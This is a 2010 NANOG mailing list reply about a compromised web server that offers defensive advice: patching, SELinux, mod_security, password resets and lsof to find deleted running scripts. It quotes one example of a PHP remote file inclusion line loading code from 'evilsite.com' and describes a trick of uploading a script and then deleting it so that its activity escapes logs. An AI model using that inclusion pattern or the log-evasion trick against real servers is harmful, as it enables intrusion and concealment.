nanog mailing list archives
RE: Security Guideance
From: Adam Stasiniewicz <adam () adamstas com>
Date: Tue, 23 Feb 2010 20:20:49 -0600
I've seem similar. Another variant of this is PHP code that lets arbitrary data be inputted into require() or include() statements, for example: include('http://evilsite.com/evil.txt'). That way, the attacker can then load whatever code they want and it will never be saved to the file system. I would recommend verifying that all the shrink-wrapped products (i.e. forums, blogs, CMS, etc) on the server be checked to ensure that they at the most current update/patch and are not EOL. Generally most of those vendors are good at responding to security issues in their products, but it's up to the person running the website to update their code. Also, have you considered enabling SELinux? Enforcing the targeted policy will prevent Apache from making outbound socket connections (and may break other stuff), but it might be worth the headache. On a similar note, mod_security also may help (depending on how the attack is being launched) but again may break some things. If the attack is possibly being launched via SSH/shell access, enable password complexity then force all of your clients to change their password. Hope that helps, Adam Stasiniewicz -----Original Message----- From: Chris Adams [mailto:cmadams () hiwaay net] Sent: Tuesday, February 23, 2010 2:56 PM To: Matt Sprague Cc: nanog () nanog org Subject: Re: Security Guideance Once upon a time, Matt Sprague <msprague () readytechs com> said:
The user could also be running the command inline somehow or deleting the file when they log off. Check who was logged onto the server at the time of the attack to narrow down your search. I like the split the users idea, though it could be several iterations to narrow down the culprit.
We've also seen this with spammers. They'll upload a PHP via a compromised account, connect to it via HTTP, and then delete it from the filesystem. The PHP continues to run, Apache doesn't log anything (because it only logs at the end of a request), and the admin is left scratching his head to figure out where the problem is. IIRC PHP holds an open file descriptor on active scripts, so you can use lsof to look for things like this (look for "deleted" or "path inode" entries). -- Chris Adams <cmadams () hiwaay net> Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble.
Current thread:
- Security Guideance Paul Stewart (Feb 23)
- Re: Security Guideance Ronald Cotoni (Feb 23)
- RE: Security Guideance Matt Sprague (Feb 23)
- Message not available
- Re: RE: Security Guideance Paul Bosworth (Feb 23)
- Re: Security Guideance Michael Holstein (Feb 23)
- Re: Security Guideance Chris Adams (Feb 23)
- RE: Security Guideance Adam Stasiniewicz (Feb 23)
- Re: Security Guideance Aaron L. Meehan (Feb 24)
- RE: Security Guideance Matt Sprague (Feb 23)
- Re: Security Guideance Ronald Cotoni (Feb 23)
- Re: Security Guideance Dan White (Feb 23)
- Re: Security Guideance acv (Feb 23)
- Re: Security Guideance Nathan Ward (Feb 23)
- RE: Security Guideance Joe (Feb 23)
- Re: Security Guideance Curtis Maurand (Feb 24)